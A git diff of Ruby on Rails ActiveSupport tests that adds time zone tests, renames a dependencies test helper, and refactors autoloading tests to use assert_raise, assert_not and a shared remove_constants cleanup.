+ assert_equal 'Sat, 01 Jan 2000 00:00:00 HST -10:00', @s.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @u.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @z.in_time_zone.inspect
+ end
+ with_tz_default nil do
+ assert_equal @s.to_time, @s.in_time_zone
+ assert_equal @u.to_time, @u.in_time_zone
+ assert_equal @z.to_time, @z.in_time_zone
+ end
+ end
+
+ def test_nil_time_zone
+ with_tz_default nil do
+ assert !@s.in_time_zone.respond_to?(:period), 'no period method'
+ assert !@u.in_time_zone.respond_to?(:period), 'no period method'
+ assert !@z.in_time_zone.respond_to?(:period), 'no period method'
+ end
+ end
+
+ def test_in_time_zone_with_argument
+ with_tz_default 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone)
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @s.in_time_zone('Alaska').inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @u.in_time_zone('Alaska').inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @z.in_time_zone('Alaska').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 HST -10:00', @s.in_time_zone('Hawaii').inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @u.in_time_zone('Hawaii').inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @z.in_time_zone('Hawaii').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @s.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @u.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @z.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @s.in_time_zone(-9.hours).inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @u.in_time_zone(-9.hours).inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @z.in_time_zone(-9.hours).inspect
+ end
+ end
+
+ def test_in_time_zone_with_invalid_argument
+ assert_raise(ArgumentError) { @s.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @u.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @z.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @s.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @u.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @z.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @s.in_time_zone(Object.new) }
+ assert_raise(ArgumentError) { @u.in_time_zone(Object.new) }
+ assert_raise(ArgumentError) { @z.in_time_zone(Object.new) }
+ end
end
diff --git a/activesupport/test/core_ext/uri_ext_test.rb b/activesupport/test/core_ext/uri_ext_test.rb
index 03e388dd7a..43a5997ddd 100644
--- a/activesupport/test/core_ext/uri_ext_test.rb
+++ b/activesupport/test/core_ext/uri_ext_test.rb
@@ -7,7 +7,7 @@ class URIExtTest < ActiveSupport::TestCase
def test_uri_decode_handle_multibyte
str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
- parser = URI::Parser.new
+ parser = URI.parser
assert_equal str, parser.unescape(parser.escape(str))
end
end
diff --git a/activesupport/test/dependecies_test_helpers.rb b/activesupport/test/dependecies_test_helpers.rb
deleted file mode 100644
index 4b46d32fb4..0000000000
--- a/activesupport/test/dependecies_test_helpers.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-module DependeciesTestHelpers
- def with_loading(*from)
- old_mechanism, ActiveSupport::Dependencies.mechanism = ActiveSupport::Dependencies.mechanism, :load
- this_dir = File.dirname(__FILE__)
- parent_dir = File.dirname(this_dir)
- path_copy = $LOAD_PATH.dup
- $LOAD_PATH.unshift(parent_dir) unless $LOAD_PATH.include?(parent_dir)
- prior_autoload_paths = ActiveSupport::Dependencies.autoload_paths
- ActiveSupport::Dependencies.autoload_paths = from.collect { |f| "#{this_dir}/#{f}" }
- yield
- ensure
- $LOAD_PATH.replace(path_copy)
- ActiveSupport::Dependencies.autoload_paths = prior_autoload_paths
- ActiveSupport::Dependencies.mechanism = old_mechanism
- ActiveSupport::Dependencies.explicitly_unloadable_constants = []
- end
-
- def with_autoloading_fixtures(&block)
- with_loading 'autoloading_fixtures', &block
- end
-
- def remove_constants(*constants)
- constants.each do |constant|
- Object.send(:remove_const, constant) if Object.const_defined?(constant)
- end
- end
-end \ No newline at end of file
diff --git a/activesupport/test/dependencies/raises_exception_without_blame_file.rb b/activesupport/test/dependencies/raises_exception_without_blame_file.rb
new file mode 100644
index 0000000000..4b2da6ff30
--- /dev/null
+++ b/activesupport/test/dependencies/raises_exception_without_blame_file.rb
@@ -0,0 +1,5 @@
+exception = Exception.new('I am not blamable!')
+class << exception
+ undef_method(:blame_file!)
+end
+raise exception
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index 51a7e4b2fe..96e9bd1e65 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -1,7 +1,7 @@
require 'abstract_unit'
require 'pp'
require 'active_support/dependencies'
-require 'dependecies_test_helpers'
+require 'dependencies_test_helpers'
module ModuleWithMissing
mattr_accessor :missing_count
@@ -16,11 +16,16 @@ module ModuleWithConstant
end
class DependenciesTest < ActiveSupport::TestCase
- def teardown
- ActiveSupport::Dependencies.clear
+ include DependenciesTestHelpers
+
+ setup do
+ @loaded_features_copy = $LOADED_FEATURES.dup
end
- include DependeciesTestHelpers
+ teardown do
+ ActiveSupport::Dependencies.clear
+ $LOADED_FEATURES.replace(@loaded_features_copy)
+ end
def test_depend_on_path
skip "LoadError#path does not exist" if RUBY_VERSION < '2.0.0'
@@ -35,21 +40,35 @@ class DependenciesTest < ActiveSupport::TestCase
assert_equal expected.path, e.path
end
+ def test_require_dependency_accepts_an_object_which_implements_to_path
+ o = Object.new
+ def o.to_path; 'dependencies/service_one'; end
+ assert_nothing_raised {
+ require_dependency o
+ }
+ assert defined?(ServiceOne)
+ ensure
+ remove_constants(:ServiceOne)
+ end
+
def test_tracking_loaded_files
- require_dependency 'dependencies/service_one'
- require_dependency 'dependencies/service_two'
- assert_equal 2, ActiveSupport::Dependencies.loaded.size
+ with_loading do
+ require_dependency 'dependencies/service_one'
+ require_dependency 'dependencies/service_two'
+ assert_equal 2, ActiveSupport::Dependencies.loaded.size
+ end
ensure
- Object.send(:remove_const, :ServiceOne) if Object.const_defined?(:ServiceOne)
- Object.send(:remove_const, :ServiceTwo) if Object.const_defined?(:ServiceTwo)
+ remove_constants(:ServiceOne, :ServiceTwo)
end
def test_tracking_identical_loaded_files
- require_dependency 'dependencies/service_one'
- require_dependency 'dependencies/service_one'
- assert_equal 1, ActiveSupport::Dependencies.loaded.size
+ with_loading do
+ require_dependency 'dependencies/service_one'
+ require_dependency 'dependencies/service_one'
+ assert_equal 1, ActiveSupport::Dependencies.loaded.size
+ end
ensure
- Object.send(:remove_const, :ServiceOne) if Object.const_defined?(:ServiceOne)
+ remove_constants(:ServiceOne)
end
def test_missing_dependency_raises_missing_source_file
@@ -62,30 +81,35 @@ class DependenciesTest < ActiveSupport::TestCase
$raises_exception_load_count = 0
5.times do |count|
- begin
+ e = assert_raise Exception, 'should have loaded dependencies/raises_exception which raises an exception' do
require_dependency filename
- flunk 'should have loaded dependencies/raises_exception which raises an exception'
- rescue Exception => e
- assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
end
+
+ assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
assert_equal count + 1, $raises_exception_load_count
- assert !ActiveSupport::Dependencies.loaded.include?(filename)
- assert !ActiveSupport::Dependencies.history.include?(filename)
+ assert_not ActiveSupport::Dependencies.loaded.include?(filename)
+ assert_not ActiveSupport::Dependencies.history.include?(filename)
end
end
end
+ def test_dependency_which_raises_doesnt_blindly_call_blame_file!
+ with_loading do
+ filename = 'dependencies/raises_exception_without_blame_file'
+ assert_raises(Exception) { require_dependency filename }
+ end
+ end
+
def test_warnings_should_be_enabled_on_first_load
with_loading 'dependencies' do
old_warnings, ActiveSupport::Dependencies.warnings_on_first_load = ActiveSupport::Dependencies.warnings_on_first_load, true
-
filename = "check_warnings"
expanded = File.expand_path("#{File.dirname(__FILE__)}/dependencies/#{filename}")
$check_warnings_load_count = 0
- assert !ActiveSupport::Dependencies.loaded.include?(expanded)
- assert !ActiveSupport::Dependencies.history.include?(expanded)
+ assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
+ assert_not ActiveSupport::Dependencies.history.include?(expanded)
silence_warnings { require_dependency filename }
assert_equal 1, $check_warnings_load_count
@@ -93,7 +117,7 @@ class DependenciesTest < ActiveSupport::TestCase
assert ActiveSupport::Dependencies.loaded.include?(expanded)
ActiveSupport::Dependencies.clear
- assert !ActiveSupport::Dependencies.loaded.include?(expanded)
+ assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
assert ActiveSupport::Dependencies.history.include?(expanded)
silence_warnings { require_dependency filename }
@@ -102,7 +126,7 @@ class DependenciesTest < ActiveSupport::TestCase
assert ActiveSupport::Dependencies.loaded.include?(expanded)
ActiveSupport::Dependencies.clear
- assert !ActiveSupport::Dependencies.loaded.include?(expanded)
+ assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
assert ActiveSupport::Dependencies.history.include?(expanded)
enable_warnings { require_dependency filename }
@@ -135,6 +159,31 @@ class DependenciesTest < ActiveSupport::TestCase
end
end
+ def test_ensures_the_expected_constant_is_defined
+ with_autoloading_fixtures do
+ e = assert_raise(LoadError) { Typo }
+ assert_match %r{Unable to autoload constant Typo, expected .*activesupport/test/autoloading_fixtures/typo.rb to define it}, e.message
+ end
+ end
+
+ def test_require_dependency_does_not_assume_any_particular_constant_is_defined
+ with_autoloading_fixtures do
+ require_dependency 'typo'
+ assert_equal 1, TypO
+ end
+ end
+
+ # Regression, see https://github.com/rails/rails/issues/16468.
+ def test_require_dependency_interaction_with_autoloading
+ with_autoloading_fixtures do
+ require_dependency 'typo'
+ assert_equal 1, TypO
+
+ e = assert_raise(LoadError) { Typo }
+ assert_match %r{Unable to autoload constant Typo, expected .*activesupport/test/autoloading_fixtures/typo.rb to define it}, e.message
+ end
+ end
+
def test_module_loading
with_autoloading_fixtures do
assert_kind_of Module, A
@@ -156,43 +205,49 @@ class DependenciesTest < ActiveSupport::TestCase
def test_directories_manifest_as_modules_unless_const_defined
with_autoloading_fixtures do
assert_kind_of Module, ModuleFolder
- Object.__send__ :remove_const, :ModuleFolder
end
+ ensure
+ remove_constants(:ModuleFolder)
end
def test_module_with_nested_class
with_autoloading_fixtures do
assert_kind_of Class, ModuleFolder::NestedClass
- Object.__send__ :remove_const, :ModuleFolder
end
+ ensure
+ remove_constants(:ModuleFolder)
end
def test_module_with_nested_inline_class
with_autoloading_fixtures do
assert_kind_of Class, ModuleFolder::InlineClass
- Object.__send__ :remove_const, :ModuleFolder
end
+ ensure
+ remove_constants(:ModuleFolder)
end
def test_directories_may_manifest_as_nested_classes
with_autoloading_fixtures do
assert_kind_of Class, ClassFolder
- Object.__send__ :remove_const, :ClassFolder
end
+ ensure
+ remove_constants(:ClassFolder)
end
def test_class_with_nested_class
with_autoloading_fixtures do
assert_kind_of Class, ClassFolder::NestedClass
- Object.__send__ :remove_const, :ClassFolder
end
+ ensure
+ remove_constants(:ClassFolder)
end
def test_class_with_nested_inline_class
with_autoloading_fixtures do
assert_kind_of Class, ClassFolder::InlineClass
- Object.__send__ :remove_const, :ClassFolder
end
+ ensure
+ remove_constants(:ClassFolder)
end
def test_class_with_nested_inline_subclass_of_parent
@@ -200,8 +255,9 @@ class DependenciesTest < ActiveSupport::TestCase
assert_kind_of Class, ClassFolder::ClassFolderSubclass
assert_kind_of Class, ClassFolder
assert_equal 'indeed', ClassFolder::ClassFolderSubclass::ConstantInClassFolder
- Object.__send__ :remove_const, :ClassFolder
end
+ ensure
+ remove_constants(:ClassFolder)
end
def test_nested_class_can_access_sibling
@@ -209,16 +265,15 @@ class DependenciesTest < ActiveSupport::TestCase
sibling = ModuleFolder::NestedClass.class_eval "NestedSibling"
assert defined?(ModuleFolder::NestedSibling)
assert_equal ModuleFolder::NestedSibling, sibling
- Object.__send__ :remove_const, :ModuleFolder
end
+ ensure
+ remove_constants(:ModuleFolder)
end
def test_doesnt_break_normal_require
path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
original_path = $:.dup
- original_features = $".dup
$:.push(path)
-
with_autoloading_fixtures do
# The _ = assignments are to prevent warnings
_ = RequiresConstant
@@ -230,15 +285,13 @@ class DependenciesTest < ActiveSupport::TestCase
assert defined?(LoadedConstant)
end
ensure
- remove_constants(:RequiresConstant, :LoadedConstant, :LoadsConstant)
- $".replace(original_features)
+ remove_constants(:RequiresConstant, :LoadedConstant)
$:.replace(original_path)
end
def test_doesnt_break_normal_require_nested
path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
original_path = $:.dup
- original_features = $".dup
$:.push(path)
with_autoloading_fixtures do
@@ -253,14 +306,12 @@ class DependenciesTest < ActiveSupport::TestCase
end
ensure
remove_constants(:RequiresConstant, :LoadedConstant, :LoadsConstant)
- $".replace(original_features)
$:.replace(original_path)
end
def test_require_returns_true_when_file_not_yet_required
path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
original_path = $:.dup
- original_features = $".dup
$:.push(path)
with_loading do
@@ -268,14 +319,12 @@ class DependenciesTest < ActiveSupport::TestCase
end
ensure
remove_constants(:LoadedConstant)
- $".replace(original_features)
$:.replace(original_path)
end
def test_require_returns_true_when_file_not_yet_required_even_when_no_new_constants_added
path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
original_path = $:.dup
- original_features = $".dup
$:.push(path)
with_loading do
@@ -284,14 +333,12 @@ class DependenciesTest < ActiveSupport::TestCase
end
ensure
remove_constants(:LoadedConstant)
- $".replace(original_features)
$:.replace(original_path)
end
def test_require_returns_false_when_file_already_required
path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
original_path = $:.dup
- original_features = $".dup
$:.push(path)
with_loading do
@@ -300,7 +347,6 @@ class DependenciesTest < ActiveSupport::TestCase
end
ensure
remove_constants(:LoadedConstant)
- $".replace(original_features)
$:.replace(original_path)
end
@@ -308,14 +354,11 @@ class DependenciesTest < ActiveSupport::TestCase
with_loading do
assert_raise(LoadError) { require 'this_file_dont_exist_dude' }
end
- ensure
- remove_constants(:LoadedConstant)
end
def test_load_returns_true_when_file_found
path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
original_path = $:.dup
- original_features = $".dup
$:.push(path)
with_loading do
@@ -324,7 +367,6 @@ class DependenciesTest < ActiveSupport::TestCase
end
ensure
remove_constants(:LoadedConstant)
- $".replace(original_features)
$:.replace(original_path)
end
@@ -332,43 +374,37 @@ class DependenciesTest < ActiveSupport::TestCase
with_loading do
assert_raise(LoadError) { load 'this_file_dont_exist_dude.rb' }
end
- ensure
- remove_constants(:LoadedConstant)
end
def failing_test_access_thru_and_upwards_fails
with_autoloading_fixtures do
- assert ! defined?(ModuleFolder)
+ assert_not defined?(ModuleFolder)
assert_raise(NameError) { ModuleFolder::Object }
assert_raise(NameError) { ModuleFolder::NestedClass::Object }
- Object.__send__ :remove_const, :ModuleFolder
end
+ ensure
+ remove_constants(:ModuleFolder)
end
def test_non_existing_const_raises_name_error_with_fully_qualified_name
with_autoloading_fixtures do
- begin
- A::DoesNotExist.nil?
- flunk "No raise!!"
- rescue NameError => e
- assert_equal "uninitialized constant A::DoesNotExist", e.message
- end
- begin
- A::B::DoesNotExist.nil?
- flunk "No raise!!"
- rescue NameError => e
- assert_equal "uninitialized constant A::B::DoesNotExist", e.message
- end
+ e = assert_raise(NameError) { A::DoesNotExist.nil? }
+ assert_equal "uninitialized constant A::DoesNotExist", e.message
+ assert_equal :DoesNotExist, e.name
+
+ e = assert_raise(NameError) { A::B::DoesNotExist.nil? }
+ assert_equal "uninitialized constant A::B::DoesNotExist", e.message
+ assert_equal :DoesNotExist, e.name
end
+ ensure
+ remove_constants(:A)
end
def test_smart_name_error_strings
- begin
+ e = assert_raise NameError do
Object.module_eval "ImaginaryObject"
- flunk "No raise!!"
- rescue NameError => e
- assert e.message.include?("uninitialized constant ImaginaryObject")
end
+ assert_includes "uninitialized constant ImaginaryObject", e.message
end
def test_loadable_constants_for_path_should_handle_empty_autoloads
@@ -451,9 +487,9 @@ class DependenciesTest < ActiveSupport::TestCase
nil_name = Module.new
def nil_name.name() nil end
assert !ActiveSupport::Dependencies.autoloaded?(nil_name)
-
- Object.class_eval { remove_const :ModuleFolder }
end
+ ensure
+ remove_constants(:ModuleFolder)
end
def test_qualified_name_for
@@ -511,47 +547,45 @@ class DependenciesTest < ActiveSupport::TestCase
assert_kind_of Module, ::ModuleWithCustomConstMissing::A
assert_kind_of String, ::ModuleWithCustomConstMissing::A::B
end
+ ensure
+ remove_constants(:ModuleWithCustomConstMissing)
end
- def test_const_missing_should_not_double_load
- $counting_loaded_times = 0
+ def test_const_missing_in_anonymous_modules_loads_top_level_constants
with_autoloading_fixtures do
- require_dependency '././counting_loader'
- assert_equal 1, $counting_loaded_times
- assert_raise(NameError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
- assert_equal 1, $counting_loaded_times
+ # class_eval STRING pushes the class to the nesting of the eval'ed code.
+ klass = Class.new.class_eval "E"
+ assert_equal E, klass
end
+ ensure
+ remove_constants(:E)
end
- def test_const_missing_within_anonymous_module
- $counting_loaded_times = 0
- m = Module.new
- m.module_eval "def a() CountingLoader; end"
- extend m
- kls = nil
+ def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object
with_autoloading_fixtures do
- kls = nil
- assert_nothing_raised { kls = a }
- assert_equal "CountingLoader", kls.name
- assert_equal 1, $counting_loaded_times
+ require_dependency 'e'
- assert_nothing_raised { kls = a }
- assert_equal 1, $counting_loaded_times
+ mod = Module.new
+ e = assert_raise(NameError) { mod::E }
+ assert_equal 'E cannot be autoloaded from an anonymous class or module', e.message
+ assert_equal :E, e.name
end
+ ensure
+ remove_constants(:E)
end
def test_removal_from_tree_should_be_detected
with_loading 'dependencies' do
c = ServiceOne
ActiveSupport::Dependencies.clear
- assert ! defined?(ServiceOne)
- begin
+ assert_not defined?(ServiceOne)
+ e = assert_raise ArgumentError do
ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
- flunk "Expected exception"
- rescue ArgumentError => e
- assert_match %r{ServiceOne has been removed from the module tree}i, e.message
end
+ assert_match %r{ServiceOne has been removed from the module tree}i, e.message
end
+ ensure
+ remove_constants(:ServiceOne)
end
def test_references_should_work
@@ -560,18 +594,21 @@ class DependenciesTest < ActiveSupport::TestCase
service_one_first = ServiceOne
assert_equal service_one_first, c.get("ServiceOne")
ActiveSupport::Dependencies.clear
- assert ! defined?(ServiceOne)
-
+ assert_not defined?(ServiceOne)
service_one_second = ServiceOne
assert_not_equal service_one_first, c.get("ServiceOne")
assert_equal service_one_second, c.get("ServiceOne")
end
+ ensure
+ remove_constants(:ServiceOne)
end
def test_constantize_shortcut_for_cached_constant_lookups
with_loading 'dependencies' do
assert_equal ServiceOne, ActiveSupport::Dependencies.constantize("ServiceOne")
end
+ ensure
+ remove_constants(:ServiceOne)
end
def test_nested_load_error_isnt_rescued
@@ -583,19 +620,20 @@ class DependenciesTest < ActiveSupport::TestCase
end
def test_autoload_once_paths_do_not_add_to_autoloaded_constants
+ old_path = ActiveSupport::Dependencies.autoload_once_paths
with_autoloading_fixtures do
ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths.dup
- assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
- assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
- assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+ assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+ assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+ assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
1 if ModuleFolder::NestedClass # 1 if to avoid warning
- assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+ assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
end
ensure
- Object.class_eval { remove_const :ModuleFolder }
- ActiveSupport::Dependencies.autoload_once_paths = []
+ remove_constants(:ModuleFolder)
+ ActiveSupport::Dependencies.autoload_once_paths = old_path
end
def test_autoload_once_pathnames_do_not_add_to_autoloaded_constants
@@ -604,15 +642,15 @@ class DependenciesTest < ActiveSupport::TestCase
ActiveSupport::Dependencies.autoload_paths = pathnames
ActiveSupport::Dependencies.autoload_once_paths = pathnames
- assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
- assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
- assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+ assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+ assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+ assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
1 if ModuleFolder::NestedClass # 1 if to avoid warning
- assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+ assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
end
ensure
- Object.class_eval { remove_const :ModuleFolder }
+ remove_constants(:ModuleFolder)
ActiveSupport::Dependencies.autoload_once_paths = []
end
@@ -622,6 +660,8 @@ class DependenciesTest < ActiveSupport::TestCase
assert_equal 10, ApplicationController
assert ActiveSupport::Dependencies.autoloaded?(:ApplicationController)
end
+ ensure
+ remove_constants(:ApplicationController)
end
def test_preexisting_constants_are_not_marked_as_autoloaded
@@ -637,9 +677,18 @@ class DependenciesTest < ActiveSupport::TestCase
assert ! ActiveSupport::Dependencies.autoloaded?(:E), "E shouldn't be marked autoloaded!"
ActiveSupport::Dependencies.clear
end
+ ensure
+ remove_constants(:E)
+ end
+ def test_constants_in_capitalized_nesting_marked_as_autoloaded
+ with_autoloading_fixtures do
+ ActiveSupport::Dependencies.load_missing_constant(HTML, "SomeClass")
+
+ assert ActiveSupport::Dependencies.autoloaded?("HTML::SomeClass")
+ end
ensure
- Object.class_eval { remove_const :E }
+ remove_constants(:HTML)
end
def test_unloadable
@@ -670,7 +719,7 @@ class DependenciesTest < ActiveSupport::TestCase
assert_equal false, M.unloadable
end
ensure
- Object.class_eval { remove_const :M }
+ remove_constants(:M)
end
def test_unloadable_constants_should_receive_callback
@@ -681,7 +730,7 @@ class DependenciesTest < ActiveSupport::TestCase
ActiveSupport::Dependencies.clear
assert !defined?(C)
ensure
- Object.class_eval { remove_const :C } if defined?(C)
+ remove_constants(:C)
end
def test_new_contants_in_without_constants
@@ -695,7 +744,7 @@ class DependenciesTest < ActiveSupport::TestCase
}.map(&:to_s)
assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
ensure
- Object.class_eval { remove_const :Hello }
+ remove_constants(:Hello)
end
def test_new_constants_in_with_nesting
@@ -712,9 +761,7 @@ class DependenciesTest < ActiveSupport::TestCase
assert_equal ["OuterAfter", "OuterBefore"], outer.sort.map(&:to_s)
assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
ensure
- %w(OuterBefore Inner OuterAfter).each do |name|
- Object.class_eval { remove_const name if const_defined?(name) }
- end
+ remove_constants(:OuterBefore, :Inner, :OuterAfter)
end
def test_new_constants_in_module
@@ -733,7 +780,7 @@ class DependenciesTest < ActiveSupport::TestCase
assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
ensure
- Object.class_eval { remove_const :M }
+ remove_constants(:M)
end
def test_new_constants_in_module_using_name
@@ -751,7 +798,7 @@ class DependenciesTest < ActiveSupport::TestCase
assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
ensure
- Object.class_eval { remove_const :M }
+ remove_constants(:M)
end
def test_new_constants_in_with_inherited_constants
@@ -769,26 +816,27 @@ class DependenciesTest < ActiveSupport::TestCase
def test_file_with_multiple_constants_and_require_dependency
with_autoloading_fixtures do
- assert ! defined?(MultipleConstantFile)
- assert ! defined?(SiblingConstant)
+ assert_not defined?(MultipleConstantFile)
+ assert_not defined?(SiblingConstant)
require_dependency 'multiple_constant_file'
assert defined?(MultipleConstantFile)
assert defined?(SiblingConstant)
assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
-
ActiveSupport::Dependencies.clear
- assert ! defined?(MultipleConstantFile)
- assert ! defined?(SiblingConstant)
+ assert_not defined?(MultipleConstantFile)
+ assert_not defined?(SiblingConstant)
end
+ ensure
+ remove_constants(:MultipleConstantFile, :SiblingConstant)
end
def test_file_with_multiple_constants_and_auto_loading
with_autoloading_fixtures do
- assert ! defined?(MultipleConstantFile)
- assert ! defined?(SiblingConstant)
+ assert_not defined?(MultipleConstantFile)
+ assert_not defined?(SiblingConstant)
assert_equal 10, MultipleConstantFile
@@ -799,15 +847,17 @@ class DependenciesTest < ActiveSupport::TestCase
ActiveSupport::Dependencies.clear
- assert ! defined?(MultipleConstantFile)
- assert ! defined?(SiblingConstant)
+ assert_not defined?(MultipleConstantFile)
+ assert_not defined?(SiblingConstant)
end
+ ensure
+ remove_constants(:MultipleConstantFile, :SiblingConstant)
end
def test_nested_file_with_multiple_constants_and_require_dependency
with_autoloading_fixtures do
- assert ! defined?(ClassFolder::NestedClass)
- assert ! defined?(ClassFolder::SiblingClass)
+ assert_not defined?(ClassFolder::NestedClass)
+ assert_not defined?(ClassFolder::SiblingClass)
require_dependency 'class_folder/nested_class'
@@ -818,15 +868,17 @@ class DependenciesTest < ActiveSupport::TestCase
ActiveSupport::Dependencies.clear
- assert ! defined?(ClassFolder::NestedClass)
- assert ! defined?(ClassFolder::SiblingClass)
+ assert_not defined?(ClassFolder::NestedClass)
+ assert_not defined?(ClassFolder::SiblingClass)
end
+ ensure
+ remove_constants(:ClassFolder)
end
def test_nested_file_with_multiple_constants_and_auto_loading
with_autoloading_fixtures do
- assert ! defined?(ClassFolder::NestedClass)
- assert ! defined?(ClassFolder::SiblingClass)
+ assert_not defined?(ClassFolder::NestedClass)
+ assert_not defined?(ClassFolder::SiblingClass)
assert_kind_of Class, ClassFolder::NestedClass
@@ -837,9 +889,11 @@ class DependenciesTest < ActiveSupport::TestCase
ActiveSupport::Dependencies.clear
- assert ! defined?(ClassFolder::NestedClass)
- assert ! defined?(ClassFolder::SiblingClass)
+ assert_not defined?(ClassFolder::NestedClass)
+ assert_not defined?(ClassFolder::SiblingClass)
end
+ ensure
+ remove_constants(:ClassFolder)
end
def test_autoload_doesnt_shadow_no_method_error_with_relative_constant
@@ -850,9 +904,8 @@ class DependenciesTest < ActiveSupport::TestCase
assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
end
end
-
ensure
- Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+ remove_constants(:RaisesNoMethodError)
end
def test_autoload_doesnt_shadow_no_method_error_with_absolute_constant
@@ -863,9 +916,8 @@ class DependenciesTest < ActiveSupport::TestCase
assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
end
end
-
ensure
- Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+ remove_constants(:RaisesNoMethodError)
end
def test_autoload_doesnt_shadow_error_when_mechanism_not_set_to_load
@@ -875,18 +927,17 @@ class DependenciesTest < ActiveSupport::TestCase
assert_raise(NameError) { assert_equal 123, ::RaisesNameError::FooBarBaz }
end
end
+ ensure
+ remove_constants(:RaisesNameError)
end
def test_autoload_doesnt_shadow_name_error
with_autoloading_fixtures do
- Object.send(:remove_const, :RaisesNameError) if defined?(::RaisesNameError)
- 2.times do |i|
- begin
+ 2.times do
+ e = assert_raise NameError do
::RaisesNameError::FooBarBaz.object_id
- flunk 'should have raised NameError when autoloaded file referenced FooBarBaz'
- rescue NameError => e
- assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
end
+ assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
end
@@ -896,19 +947,20 @@ class DependenciesTest < ActiveSupport::TestCase
assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
end
end
-
ensure
- Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+ remove_constants(:RaisesNameError)
end
def test_remove_constant_handles_double_colon_at_start
Object.const_set 'DeleteMe', Module.new
DeleteMe.const_set 'OrMe', Module.new
ActiveSupport::Dependencies.remove_constant "::DeleteMe::OrMe"
- assert ! defined?(DeleteMe::OrMe)
+ assert_not defined?(DeleteMe::OrMe)
assert defined?(DeleteMe)
ActiveSupport::Dependencies.remove_constant "::DeleteMe"
- assert ! defined?(DeleteMe)
+ assert_not defined?(DeleteMe)
+ ensure
+ remove_constants(:DeleteMe)
end
def test_remove_constant_does_not_trigger_loading_autoloads
@@ -918,56 +970,85 @@ class DependenciesTest < ActiveSupport::TestCase
end
